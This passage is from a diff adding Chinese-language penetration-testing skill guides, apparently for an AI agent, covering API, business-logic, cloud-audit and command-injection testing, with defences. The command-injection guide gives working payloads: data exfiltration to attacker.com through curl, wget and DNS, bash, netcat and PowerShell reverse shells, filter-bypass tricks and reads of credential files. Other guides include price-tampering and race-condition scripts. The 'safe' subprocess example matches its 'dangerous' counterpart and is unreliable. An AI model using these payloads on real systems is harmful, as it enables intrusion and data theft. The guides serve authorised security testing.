4. 运行自动化测试
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**API扫描:**
|
||||
1. 配置API端点
|
||||
2. 设置认证
|
||||
3. 运行主动扫描
|
||||
4. 分析结果
|
||||
|
||||
### OWASP ZAP
|
||||
|
||||
```bash
|
||||
# API扫描
|
||||
zap-cli quick-scan --self-contained \
|
||||
--start-options '-config api.disablekey=true' \
|
||||
http://target.com/api
|
||||
```
|
||||
|
||||
### REST-Attacker
|
||||
|
||||
```bash
|
||||
# 扫描OpenAPI规范
|
||||
rest-attacker scan openapi.yaml
|
||||
```
|
||||
|
||||
## 常见漏洞
|
||||
|
||||
### 1. 认证绕过
|
||||
|
||||
**Token验证缺陷:**
|
||||
- 弱Token生成
|
||||
- Token可预测
|
||||
- Token不验证签名
|
||||
|
||||
### 2. 权限提升
|
||||
|
||||
**IDOR:**
|
||||
- 直接对象引用
|
||||
- 未验证资源所有权
|
||||
|
||||
### 3. 信息泄露
|
||||
|
||||
**错误信息:**
|
||||
- 详细错误信息
|
||||
- 堆栈跟踪
|
||||
- 敏感数据
|
||||
|
||||
### 4. 注入漏洞
|
||||
|
||||
**常见注入:**
|
||||
- SQL注入
|
||||
- NoSQL注入
|
||||
- 命令注入
|
||||
- XXE
|
||||
|
||||
### 5. 业务逻辑
|
||||
|
||||
**逻辑缺陷:**
|
||||
- 价格操作
|
||||
- 数量限制绕过
|
||||
- 状态修改
|
||||
|
||||
## 测试清单
|
||||
|
||||
### 认证测试
|
||||
- [ ] Token有效性验证
|
||||
- [ ] Token过期处理
|
||||
- [ ] 弱Token检测
|
||||
- [ ] Token重放攻击
|
||||
|
||||
### 授权测试
|
||||
- [ ] 水平权限测试
|
||||
- [ ] 垂直权限测试
|
||||
- [ ] 角色权限验证
|
||||
- [ ] 资源访问控制
|
||||
|
||||
### 输入验证
|
||||
- [ ] SQL注入测试
|
||||
- [ ] XSS测试
|
||||
- [ ] 命令注入测试
|
||||
- [ ] XXE测试
|
||||
- [ ] 参数污染
|
||||
|
||||
### 业务逻辑
|
||||
- [ ] 工作流验证
|
||||
- [ ] 状态转换
|
||||
- [ ] 并发控制
|
||||
- [ ] 业务规则
|
||||
|
||||
### 错误处理
|
||||
- [ ] 错误信息泄露
|
||||
- [ ] 堆栈跟踪
|
||||
- [ ] 敏感信息暴露
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **认证**
|
||||
- 使用强Token
|
||||
- 实现Token刷新
|
||||
- 验证Token签名
|
||||
|
||||
2. **授权**
|
||||
- 基于角色的访问控制
|
||||
- 资源所有权验证
|
||||
- 最小权限原则
|
||||
|
||||
3. **输入验证**
|
||||
- 参数类型验证
|
||||
- 数据长度限制
|
||||
- 白名单验证
|
||||
|
||||
4. **错误处理**
|
||||
- 统一错误响应
|
||||
- 不泄露详细信息
|
||||
- 记录错误日志
|
||||
|
||||
5. **速率限制**
|
||||
- 实现API限流
|
||||
- 防止暴力破解
|
||||
- 监控异常请求
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对API造成影响
|
||||
- 注意不同API版本的差异
|
||||
- 测试时注意请求频率
|
||||
@@ -0,0 +1,402 @@
|
||||
---
|
||||
name: business-logic-testing
|
||||
description: 业务逻辑漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 业务逻辑漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
业务逻辑漏洞是应用程序在业务处理流程中的设计缺陷,可能导致未授权操作、数据篡改、资金损失等。本技能提供业务逻辑漏洞的检测、利用和防护方法。
|
||||
|
||||
## 漏洞类型
|
||||
|
||||
### 1. 工作流绕过
|
||||
|
||||
**跳过验证步骤:**
|
||||
- 直接访问最终步骤
|
||||
- 修改步骤顺序
|
||||
- 重复执行步骤
|
||||
|
||||
### 2. 价格操作
|
||||
|
||||
**负数价格:**
|
||||
- 输入负数金额
|
||||
- 导致账户余额增加
|
||||
|
||||
**价格篡改:**
|
||||
- 修改前端价格
|
||||
- 修改API请求中的价格
|
||||
|
||||
### 3. 数量限制绕过
|
||||
|
||||
**负数数量:**
|
||||
- 输入负数
|
||||
- 可能导致库存增加
|
||||
|
||||
**超出限制:**
|
||||
- 修改数量限制
|
||||
- 批量操作绕过
|
||||
|
||||
### 4. 时间竞争
|
||||
|
||||
**并发请求:**
|
||||
- 同时发送多个请求
|
||||
- 绕过单次限制
|
||||
|
||||
### 5. 状态操作
|
||||
|
||||
**状态回退:**
|
||||
- 将已完成订单改为待支付
|
||||
- 修改订单状态
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 工作流分析
|
||||
|
||||
**识别业务流程:**
|
||||
- 注册流程
|
||||
- 购买流程
|
||||
- 提现流程
|
||||
- 审核流程
|
||||
|
||||
**测试步骤跳过:**
|
||||
```
|
||||
正常流程: 步骤1 → 步骤2 → 步骤3
|
||||
测试: 直接访问步骤3
|
||||
测试: 步骤1 → 步骤3(跳过步骤2)
|
||||
```
|
||||
|
||||
### 2. 参数篡改
|
||||
|
||||
**修改关键参数:**
|
||||
```http
|
||||
POST /api/purchase
|
||||
{
|
||||
"product_id": 123,
|
||||
"quantity": 1,
|
||||
"price": 100.00 # 修改为 0.01
|
||||
}
|
||||
```
|
||||
|
||||
**负数测试:**
|
||||
```json
|
||||
{
|
||||
"quantity": -1,
|
||||
"price": -100.00
|
||||
}
|
||||
```
|
||||
|
||||
### 3. 并发测试
|
||||
|
||||
**同时发送请求:**
|
||||
```python
|
||||
import threading
|
||||
import requests
|
||||
|
||||
def purchase():
|
||||
requests.post('https://target.com/api/purchase',
|
||||
json={'product_id': 123, 'quantity': 1})
|
||||
|
||||
# 同时发送10个请求
|
||||
for i in range(10):
|
||||
threading.Thread(target=purchase).start()
|
||||
```
|
||||
|
||||
### 4. 状态修改
|
||||
|
||||
**修改订单状态:**
|
||||
```http
|
||||
PATCH /api/order/123
|
||||
{
|
||||
"status": "completed" # 修改为已完成
|
||||
}
|
||||
```
|
||||
|
||||
**回退状态:**
|
||||
```http
|
||||
PATCH /api/order/123
|
||||
{
|
||||
"status": "pending" # 从已完成回退到待支付
|
||||
}
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 价格操作
|
||||
|
||||
**负数价格:**
|
||||
```json
|
||||
{
|
||||
"product_id": 123,
|
||||
"price": -100.00,
|
||||
"quantity": 1
|
||||
}
|
||||
```
|
||||
|
||||
**修改前端价格:**
|
||||
```javascript
|
||||
// 前端代码
|
||||
const price = 100.00;
|
||||
|
||||
// 修改为
|
||||
const price = 0.01;
|
||||
```
|
||||
|
||||
**API价格修改:**
|
||||
```http
|
||||
POST /api/checkout
|
||||
{
|
||||
"items": [
|
||||
{
|
||||
"product_id": 123,
|
||||
"price": 0.01, # 原价100.00
|
||||
"quantity": 1
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
### 数量限制绕过
|
||||
|
||||
**负数数量:**
|
||||
```json
|
||||
{
|
||||
"product_id": 123,
|
||||
"quantity": -10 # 可能导致库存增加
|
||||
}
|
||||
```
|
||||
|
||||
**超出限制:**
|
||||
```json
|
||||
{
|
||||
"product_id": 123,
|
||||
"quantity": 999999 # 超出单次购买限制
|
||||
}
|
||||
```
|
||||
|
||||
### 优惠券滥用
|
||||
|
||||
**重复使用:**
|
||||
```http
|
||||
POST /api/checkout
|
||||
{
|
||||
"coupon": "DISCOUNT50",
|
||||
"items": [...]
|
||||
}
|
||||
|
||||
# 重复使用同一优惠券
|
||||
```
|
||||
|
||||
**未激活优惠券:**
|
||||
```http
|
||||
POST /api/checkout
|
||||
{
|
||||
"coupon": "EXPIRED_COUPON", # 使用过期优惠券
|
||||
"items": [...]
|
||||
}
|
||||
```
|
||||
|
||||
### 提现漏洞
|
||||
|
||||
**负数提现:**
|
||||
```json
|
||||
{
|
||||
"amount": -1000.00 # 可能导致账户余额增加
|
||||
}
|
||||
```
|
||||
|
||||
**超出余额:**
|
||||
```json
|
||||
{
|
||||
"amount": 999999.00 # 超出账户余额
|
||||
}
|
||||
```
|
||||
|
||||
### 时间竞争
|
||||
|
||||
**并发购买:**
|
||||
```python
|
||||
import threading
|
||||
import requests
|
||||
|
||||
def buy():
|
||||
requests.post('https://target.com/api/purchase',
|
||||
json={'product_id': 123, 'quantity': 1})
|
||||
|
||||
# 限时抢购,并发请求
|
||||
for i in range(100):
|
||||
threading.Thread(target=buy).start()
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 前端验证绕过
|
||||
|
||||
**直接调用API:**
|
||||
- 绕过前端JavaScript验证
|
||||
- 直接发送API请求
|
||||
|
||||
**修改请求:**
|
||||
- 使用Burp Suite拦截
|
||||
- 修改参数后发送
|
||||
|
||||
### 状态码分析
|
||||
|
||||
**观察响应:**
|
||||
- 200 OK - 可能成功
|
||||
- 400 Bad Request - 参数错误
|
||||
- 403 Forbidden - 权限不足
|
||||
- 500 Internal Server Error - 服务器错误
|
||||
|
||||
### 错误信息利用
|
||||
|
||||
**从错误信息获取信息:**
|
||||
```
|
||||
错误: "余额不足,当前余额: 100.00"
|
||||
→ 可以获取账户余额信息
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Burp Suite
|
||||
|
||||
**使用Repeater:**
|
||||
1. 拦截业务请求
|
||||
2. 修改关键参数
|
||||
3. 观察响应
|
||||
|
||||
**使用Intruder:**
|
||||
1. 标记参数
|
||||
2. 使用Payload列表
|
||||
3. 批量测试
|
||||
|
||||
### 自定义脚本
|
||||
|
||||
```python
|
||||
import requests
|
||||
import json
|
||||
|
||||
def test_price_manipulation():
|
||||
# 测试价格修改
|
||||
for price in [0.01, -100, 0, 999999]:
|
||||
data = {
|
||||
"product_id": 123,
|
||||
"price": price,
|
||||
"quantity": 1
|
||||
}
|
||||
response = requests.post('https://target.com/api/purchase',
|
||||
json=data)
|
||||
print(f"Price {price}: {response.status_code}")
|
||||
|
||||
test_price_manipulation()
|
||||
```
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以绕过业务逻辑限制
|
||||
2. 验证可以执行未授权操作
|
||||
3. 评估影响(资金损失、数据篡改等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和业务流程
|
||||
- 可执行的未授权操作
|
||||
- 完整的利用步骤和PoC
|
||||
- 修复建议(服务端验证、业务规则检查等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **服务端验证**
|
||||
```python
|
||||
def process_purchase(product_id, quantity, price):
|
||||
# 从数据库获取真实价格
|
||||
real_price = db.get_product_price(product_id)
|
||||
|
||||
# 验证价格
|
||||
if price != real_price:
|
||||
raise ValueError("Price mismatch")
|
||||
|
||||
# 验证数量
|
||||
if quantity <= 0:
|
||||
raise ValueError("Invalid quantity")
|
||||
|
||||
# 处理购买
|
||||
process_order(product_id, quantity, real_price)
|
||||
```
|
||||
|
||||
2. **状态机验证**
|
||||
```python
|
||||
class OrderState:
|
||||
PENDING = "pending"
|
||||
PAID = "paid"
|
||||
SHIPPED = "shipped"
|
||||
COMPLETED = "completed"
|
||||
|
||||
TRANSITIONS = {
|
||||
PENDING: [PAID],
|
||||
PAID: [SHIPPED],
|
||||
SHIPPED: [COMPLETED]
|
||||
}
|
||||
|
||||
def can_transition(self, from_state, to_state):
|
||||
return to_state in self.TRANSITIONS.get(from_state, [])
|
||||
```
|
||||
|
||||
3. **并发控制**
|
||||
```python
|
||||
import threading
|
||||
|
||||
lock = threading.Lock()
|
||||
|
||||
def process_order(order_id):
|
||||
with lock:
|
||||
# 检查订单状态
|
||||
order = db.get_order(order_id)
|
||||
if order.status != 'pending':
|
||||
raise ValueError("Order already processed")
|
||||
|
||||
# 处理订单
|
||||
process(order)
|
||||
```
|
||||
|
||||
4. **业务规则验证**
|
||||
```python
|
||||
def validate_business_rules(order):
|
||||
# 验证数量限制
|
||||
if order.quantity > MAX_QUANTITY:
|
||||
raise ValueError("Quantity exceeds limit")
|
||||
|
||||
# 验证价格范围
|
||||
if order.price <= 0:
|
||||
raise ValueError("Invalid price")
|
||||
|
||||
# 验证库存
|
||||
if order.quantity > get_stock(order.product_id):
|
||||
raise ValueError("Insufficient stock")
|
||||
```
|
||||
|
||||
5. **审计日志**
|
||||
```python
|
||||
def log_business_action(user_id, action, details):
|
||||
log_entry = {
|
||||
"user_id": user_id,
|
||||
"action": action,
|
||||
"details": details,
|
||||
"timestamp": datetime.now()
|
||||
}
|
||||
db.log_action(log_entry)
|
||||
```
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对业务造成实际影响
|
||||
- 注意不同业务流程的差异
|
||||
- 测试时注意数据一致性
|
||||
@@ -0,0 +1,343 @@
|
||||
---
|
||||
name: cloud-security-audit
|
||||
description: 云安全审计的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 云安全审计
|
||||
|
||||
## 概述
|
||||
|
||||
云安全审计是评估云环境安全性的重要环节。本技能提供云安全审计的方法、工具和最佳实践,涵盖AWS、Azure、GCP等主流云平台。
|
||||
|
||||
## 审计范围
|
||||
|
||||
### 1. 身份和访问管理
|
||||
|
||||
**检查项目:**
|
||||
- IAM策略配置
|
||||
- 用户权限
|
||||
- 角色权限
|
||||
- 访问密钥管理
|
||||
|
||||
### 2. 网络安全
|
||||
|
||||
**检查项目:**
|
||||
- 安全组配置
|
||||
- 网络ACL
|
||||
- VPC配置
|
||||
- 流量加密
|
||||
|
||||
### 3. 数据安全
|
||||
|
||||
**检查项目:**
|
||||
- 数据加密
|
||||
- 密钥管理
|
||||
- 备份策略
|
||||
- 数据分类
|
||||
|
||||
### 4. 合规性
|
||||
|
||||
**检查项目:**
|
||||
- 合规框架
|
||||
- 审计日志
|
||||
- 监控告警
|
||||
- 事件响应
|
||||
|
||||
## AWS安全审计
|
||||
|
||||
### IAM审计
|
||||
|
||||
**检查IAM策略:**
|
||||
```bash
|
||||
# 列出所有IAM用户
|
||||
aws iam list-users
|
||||
|
||||
# 列出所有IAM策略
|
||||
aws iam list-policies
|
||||
|
||||
# 检查用户权限
|
||||
aws iam list-user-policies --user-name username
|
||||
aws iam list-attached-user-policies --user-name username
|
||||
|
||||
# 检查角色权限
|
||||
aws iam list-role-policies --role-name rolename
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 过度权限
|
||||
- 未使用的访问密钥
|
||||
- 密码策略弱
|
||||
- MFA未启用
|
||||
|
||||
### S3安全审计
|
||||
|
||||
**检查S3存储桶:**
|
||||
```bash
|
||||
# 列出所有存储桶
|
||||
aws s3 ls
|
||||
|
||||
# 检查存储桶策略
|
||||
aws s3api get-bucket-policy --bucket bucketname
|
||||
|
||||
# 检查存储桶ACL
|
||||
aws s3api get-bucket-acl --bucket bucketname
|
||||
|
||||
# 检查存储桶加密
|
||||
aws s3api get-bucket-encryption --bucket bucketname
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 公开访问
|
||||
- 未加密
|
||||
- 版本控制未启用
|
||||
- 日志记录未启用
|
||||
|
||||
### 安全组审计
|
||||
|
||||
**检查安全组:**
|
||||
```bash
|
||||
# 列出所有安全组
|
||||
aws ec2 describe-security-groups
|
||||
|
||||
# 检查开放端口
|
||||
aws ec2 describe-security-groups --group-ids sg-xxx
|
||||
```
|
||||
|
||||
**常见问题:**
|
||||
- 0.0.0.0/0开放
|
||||
- 不必要的端口开放
|
||||
- 规则过于宽松
|
||||
|
||||
### CloudTrail审计
|
||||
|
||||
**检查审计日志:**
|
||||
```bash
|
||||
# 列出所有跟踪
|
||||
aws cloudtrail describe-trails
|
||||
|
||||
# 检查日志文件完整性
|
||||
aws cloudtrail get-trail-status --name trailname
|
||||
```
|
||||
|
||||
## Azure安全审计
|
||||
|
||||
### 订阅和资源组
|
||||
|
||||
**检查订阅:**
|
||||
```bash
|
||||
# 列出所有订阅
|
||||
az account list
|
||||
|
||||
# 检查资源组
|
||||
az group list
|
||||
```
|
||||
|
||||
### 网络安全组
|
||||
|
||||
**检查NSG:**
|
||||
```bash
|
||||
# 列出所有NSG
|
||||
az network nsg list
|
||||
|
||||
# 检查NSG规则
|
||||
az network nsg rule list --nsg-name nsgname --resource-group rgname
|
||||
```
|
||||
|
||||
### 存储账户
|
||||
|
||||
**检查存储账户:**
|
||||
```bash
|
||||
# 列出所有存储账户
|
||||
az storage account list
|
||||
|
||||
# 检查访问策略
|
||||
az storage account show --name accountname --resource-group rgname
|
||||
```
|
||||
|
||||
## GCP安全审计
|
||||
|
||||
### 项目和组织
|
||||
|
||||
**检查项目:**
|
||||
```bash
|
||||
# 列出所有项目
|
||||
gcloud projects list
|
||||
|
||||
# 检查IAM策略
|
||||
gcloud projects get-iam-policy project-id
|
||||
```
|
||||
|
||||
### 计算引擎
|
||||
|
||||
**检查实例:**
|
||||
```bash
|
||||
# 列出所有实例
|
||||
gcloud compute instances list
|
||||
|
||||
# 检查防火墙规则
|
||||
gcloud compute firewall-rules list
|
||||
```
|
||||
|
||||
### 存储
|
||||
|
||||
**检查存储桶:**
|
||||
```bash
|
||||
# 列出所有存储桶
|
||||
gsutil ls
|
||||
|
||||
# 检查存储桶权限
|
||||
gsutil iam get gs://bucketname
|
||||
```
|
||||
|
||||
## 自动化工具
|
||||
|
||||
### Scout Suite
|
||||
|
||||
```bash
|
||||
# AWS审计
|
||||
scout aws
|
||||
|
||||
# Azure审计
|
||||
scout azure
|
||||
|
||||
# GCP审计
|
||||
scout gcp
|
||||
```
|
||||
|
||||
### Prowler
|
||||
|
||||
```bash
|
||||
# AWS安全审计
|
||||
prowler -c check11,check12,check13
|
||||
|
||||
# 完整审计
|
||||
prowler
|
||||
```
|
||||
|
||||
### CloudSploit
|
||||
|
||||
```bash
|
||||
# 扫描AWS账户
|
||||
cloudsploit scan aws
|
||||
|
||||
# 扫描Azure订阅
|
||||
cloudsploit scan azure
|
||||
```
|
||||
|
||||
### Pacu
|
||||
|
||||
```bash
|
||||
# AWS渗透测试框架
|
||||
pacu
|
||||
```
|
||||
|
||||
## 审计清单
|
||||
|
||||
### IAM安全
|
||||
- [ ] 检查用户权限
|
||||
- [ ] 检查角色权限
|
||||
- [ ] 检查访问密钥
|
||||
- [ ] 检查密码策略
|
||||
- [ ] 检查MFA启用情况
|
||||
|
||||
### 网络安全
|
||||
- [ ] 检查安全组/NSG规则
|
||||
- [ ] 检查VPC配置
|
||||
- [ ] 检查网络ACL
|
||||
- [ ] 检查流量加密
|
||||
|
||||
### 数据安全
|
||||
- [ ] 检查数据加密
|
||||
- [ ] 检查密钥管理
|
||||
- [ ] 检查备份策略
|
||||
- [ ] 检查数据分类
|
||||
|
||||
### 合规性
|
||||
- [ ] 检查审计日志
|
||||
- [ ] 检查监控告警
|
||||
- [ ] 检查事件响应
|
||||
- [ ] 检查合规框架
|
||||
|
||||
## 常见安全问题
|
||||
|
||||
### 1. 过度权限
|
||||
|
||||
**问题:**
|
||||
- IAM策略过于宽松
|
||||
- 用户拥有管理员权限
|
||||
- 角色权限过大
|
||||
|
||||
**修复:**
|
||||
- 最小权限原则
|
||||
- 定期审查权限
|
||||
- 使用IAM策略模拟
|
||||
|
||||
### 2. 公开资源
|
||||
|
||||
**问题:**
|
||||
- S3存储桶公开
|
||||
- 安全组开放0.0.0.0/0
|
||||
- 数据库公开访问
|
||||
|
||||
**修复:**
|
||||
- 限制访问范围
|
||||
- 使用私有网络
|
||||
- 启用访问控制
|
||||
|
||||
### 3. 未加密数据
|
||||
|
||||
**问题:**
|
||||
- 存储未加密
|
||||
- 传输未加密
|
||||
- 密钥管理不当
|
||||
|
||||
**修复:**
|
||||
- 启用加密
|
||||
- 使用TLS/SSL
|
||||
- 使用密钥管理服务
|
||||
|
||||
### 4. 日志缺失
|
||||
|
||||
**问题:**
|
||||
- 未启用审计日志
|
||||
- 日志未保留
|
||||
- 日志未监控
|
||||
|
||||
**修复:**
|
||||
- 启用CloudTrail/Azure Monitor
|
||||
- 设置日志保留策略
|
||||
- 配置监控告警
|
||||
|
||||
## 最佳实践
|
||||
|
||||
### 1. 最小权限
|
||||
|
||||
- 只授予必要权限
|
||||
- 定期审查权限
|
||||
- 使用IAM策略模拟
|
||||
|
||||
### 2. 多层防护
|
||||
|
||||
- 网络层防护
|
||||
- 应用层防护
|
||||
- 数据层防护
|
||||
|
||||
### 3. 监控和告警
|
||||
|
||||
- 启用审计日志
|
||||
- 配置监控告警
|
||||
- 建立事件响应流程
|
||||
|
||||
### 4. 合规性
|
||||
|
||||
- 遵循合规框架
|
||||
- 定期安全审计
|
||||
- 文档化安全策略
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权环境中进行审计
|
||||
- 避免对生产环境造成影响
|
||||
- 注意不同云平台的差异
|
||||
- 定期进行安全审计
|
||||
@@ -0,0 +1,302 @@
|
||||
---
|
||||
name: command-injection-testing
|
||||
description: 命令注入漏洞测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 命令注入漏洞测试
|
||||
|
||||
## 概述
|
||||
|
||||
命令注入是一种通过应用程序执行系统命令的漏洞。当应用程序将用户输入直接传递给系统命令时,攻击者可以执行任意命令。本技能提供命令注入的检测、利用和防护方法。
|
||||
|
||||
## 漏洞原理
|
||||
|
||||
应用程序调用系统命令时,未对用户输入进行充分验证和过滤,导致攻击者可以注入额外的命令。
|
||||
|
||||
**危险代码示例:**
|
||||
```php
|
||||
// PHP
|
||||
system("ping " . $_GET['ip']);
|
||||
|
||||
// Python
|
||||
os.system("ping " + user_input)
|
||||
|
||||
// Node.js
|
||||
child_process.exec("ping " + user_input)
|
||||
```
|
||||
|
||||
## 测试方法
|
||||
|
||||
### 1. 识别命令执行点
|
||||
|
||||
**常见功能:**
|
||||
- Ping功能
|
||||
- DNS查询
|
||||
- 文件操作
|
||||
- 系统信息
|
||||
- 日志查看
|
||||
- 备份恢复
|
||||
|
||||
### 2. 基础检测
|
||||
|
||||
**测试命令分隔符:**
|
||||
```
|
||||
; # 命令分隔符(Linux/Windows)
|
||||
& # 后台执行(Linux/Windows)
|
||||
| # 管道符(Linux/Windows)
|
||||
&& # 逻辑与(Linux/Windows)
|
||||
|| # 逻辑或(Linux/Windows)
|
||||
` # 命令替换(Linux)
|
||||
$() # 命令替换(Linux)
|
||||
```
|
||||
|
||||
**测试Payload:**
|
||||
```
|
||||
127.0.0.1; id
|
||||
127.0.0.1 && whoami
|
||||
127.0.0.1 | cat /etc/passwd
|
||||
127.0.0.1 `whoami`
|
||||
127.0.0.1 $(whoami)
|
||||
```
|
||||
|
||||
### 3. 盲命令注入
|
||||
|
||||
**时间延迟检测:**
|
||||
```
|
||||
127.0.0.1; sleep 5
|
||||
127.0.0.1 && sleep 5
|
||||
127.0.0.1 | sleep 5
|
||||
```
|
||||
|
||||
**外带数据:**
|
||||
```
|
||||
127.0.0.1; curl http://attacker.com/?$(whoami)
|
||||
127.0.0.1 && wget http://attacker.com/$(cat /etc/passwd)
|
||||
```
|
||||
|
||||
**DNS外带:**
|
||||
```
|
||||
127.0.0.1; nslookup $(whoami).attacker.com
|
||||
```
|
||||
|
||||
## 利用技术
|
||||
|
||||
### 基础命令执行
|
||||
|
||||
**Linux:**
|
||||
```
|
||||
; id
|
||||
; whoami
|
||||
; uname -a
|
||||
; cat /etc/passwd
|
||||
; ls -la
|
||||
```
|
||||
|
||||
**Windows:**
|
||||
```
|
||||
& whoami
|
||||
& ipconfig
|
||||
& type C:\Windows\System32\drivers\etc\hosts
|
||||
& dir
|
||||
```
|
||||
|
||||
### 文件操作
|
||||
|
||||
**读取文件:**
|
||||
```
|
||||
; cat /etc/passwd
|
||||
; type C:\Windows\System32\config\sam
|
||||
; head -n 20 /var/log/apache2/access.log
|
||||
```
|
||||
|
||||
**写入文件:**
|
||||
```
|
||||
; echo "<?php phpinfo(); ?>" > /tmp/shell.php
|
||||
; echo "test" > C:\temp\test.txt
|
||||
```
|
||||
|
||||
### 反弹Shell
|
||||
|
||||
**Bash:**
|
||||
```
|
||||
; bash -i >& /dev/tcp/attacker.com/4444 0>&1
|
||||
```
|
||||
|
||||
**Netcat:**
|
||||
```
|
||||
; nc -e /bin/bash attacker.com 4444
|
||||
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker.com 4444 >/tmp/f
|
||||
```
|
||||
|
||||
**PowerShell:**
|
||||
```
|
||||
& powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('attacker.com',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
|
||||
```
|
||||
|
||||
## 绕过技术
|
||||
|
||||
### 空格绕过
|
||||
|
||||
```
|
||||
${IFS}id
|
||||
${IFS}whoami
|
||||
$IFS$9id
|
||||
<>
|
||||
%09 (Tab)
|
||||
%20 (Space)
|
||||
```
|
||||
|
||||
### 命令分隔符绕过
|
||||
|
||||
**编码绕过:**
|
||||
```
|
||||
%3b (;)
|
||||
%26 (&)
|
||||
%7c (|)
|
||||
```
|
||||
|
||||
**换行绕过:**
|
||||
```
|
||||
%0a (换行)
|
||||
%0d (回车)
|
||||
```
|
||||
|
||||
### 关键字过滤绕过
|
||||
|
||||
**变量拼接:**
|
||||
```bash
|
||||
a=w;b=ho;c=ami;$a$b$c
|
||||
```
|
||||
|
||||
**通配符:**
|
||||
```bash
|
||||
/bin/c?t /etc/passwd
|
||||
/usr/bin/ca* /etc/passwd
|
||||
```
|
||||
|
||||
**引号绕过:**
|
||||
```bash
|
||||
w'h'o'a'm'i
|
||||
w"h"o"a"m"i
|
||||
```
|
||||
|
||||
**反斜杠:**
|
||||
```bash
|
||||
w\ho\am\i
|
||||
```
|
||||
|
||||
**Base64编码:**
|
||||
```bash
|
||||
echo "d2hvYW1p" | base64 -d | bash
|
||||
```
|
||||
|
||||
### 长度限制绕过
|
||||
|
||||
**使用文件:**
|
||||
```bash
|
||||
echo "id" > /tmp/c
|
||||
sh /tmp/c
|
||||
```
|
||||
|
||||
**使用环境变量:**
|
||||
```bash
|
||||
export x='id';$x
|
||||
```
|
||||
|
||||
## 工具使用
|
||||
|
||||
### Commix
|
||||
|
||||
```bash
|
||||
# 基础扫描
|
||||
python commix.py -u "http://target.com/ping?ip=127.0.0.1"
|
||||
|
||||
# 指定注入点
|
||||
python commix.py -u "http://target.com/ping?ip=INJECT_HERE" --data="ip=INJECT_HERE"
|
||||
|
||||
# 获取Shell
|
||||
python commix.py -u "http://target.com/ping?ip=127.0.0.1" --os-shell
|
||||
```
|
||||
|
||||
### Burp Suite
|
||||
|
||||
1. 拦截请求
|
||||
2. 发送到Intruder
|
||||
3. 使用命令注入Payload列表
|
||||
4. 观察响应或时间延迟
|
||||
|
||||
## 验证和报告
|
||||
|
||||
### 验证步骤
|
||||
|
||||
1. 确认可以执行系统命令
|
||||
2. 验证命令执行结果
|
||||
3. 评估影响(系统控制、数据泄露等)
|
||||
4. 记录完整的POC
|
||||
|
||||
### 报告要点
|
||||
|
||||
- 漏洞位置和输入参数
|
||||
- 可执行的命令类型
|
||||
- 完整的利用步骤和POC
|
||||
- 修复建议(输入验证、参数化、白名单等)
|
||||
|
||||
## 防护措施
|
||||
|
||||
### 推荐方案
|
||||
|
||||
1. **避免命令执行**
|
||||
- 使用API替代系统命令
|
||||
- 使用库函数替代命令
|
||||
|
||||
2. **输入验证**
|
||||
```python
|
||||
import re
|
||||
|
||||
def validate_ip(ip):
|
||||
pattern = r'^(\d{1,3}\.){3}\d{1,3}$'
|
||||
if not re.match(pattern, ip):
|
||||
raise ValueError("Invalid IP")
|
||||
parts = ip.split('.')
|
||||
if not all(0 <= int(p) <= 255 for p in parts):
|
||||
raise ValueError("Invalid IP range")
|
||||
return ip
|
||||
```
|
||||
|
||||
3. **参数化命令**
|
||||
```python
|
||||
import subprocess
|
||||
|
||||
# 危险
|
||||
subprocess.call(['ping', '-c', '1', user_input])
|
||||
|
||||
# 安全 - 使用参数列表
|
||||
subprocess.call(['ping', '-c', '1', validated_ip])
|
||||
```
|
||||
|
||||
4. **白名单验证**
|
||||
```python
|
||||
ALLOWED_COMMANDS = ['ping', 'nslookup']
|
||||
ALLOWED_OPTIONS = {'ping': ['-c', '-n']}
|
||||
|
||||
if command not in ALLOWED_COMMANDS:
|
||||
raise ValueError("Command not allowed")
|
||||
```
|
||||
|
||||
5. **最小权限**
|
||||
- 使用低权限用户运行应用
|
||||
- 限制文件系统访问
|
||||
- 使用chroot或容器隔离
|
||||
|
||||
6. **输出过滤**
|
||||
- 限制输出内容
|
||||
- 过滤敏感信息
|
||||
- 记录命令执行日志
|
||||
|
||||
## 注意事项
|
||||
|
||||
- 仅在授权测试环境中进行
|
||||
- 避免对系统造成破坏
|
||||
- 注意不同操作系统的命令差异
|
||||
- 测试时注意命令执行的影响范围
|
||||
@@ -0,0 +1,377 @@
|
||||
---
|
||||
name: container-security-testing
|
||||
description: 容器安全测试的专业技能和方法论
|
||||
version: 1.0.0
|
||||
---
|
||||
|
||||
# 容器安全测试
|
||||
|
||||
## 概述
|
||||
|
||||
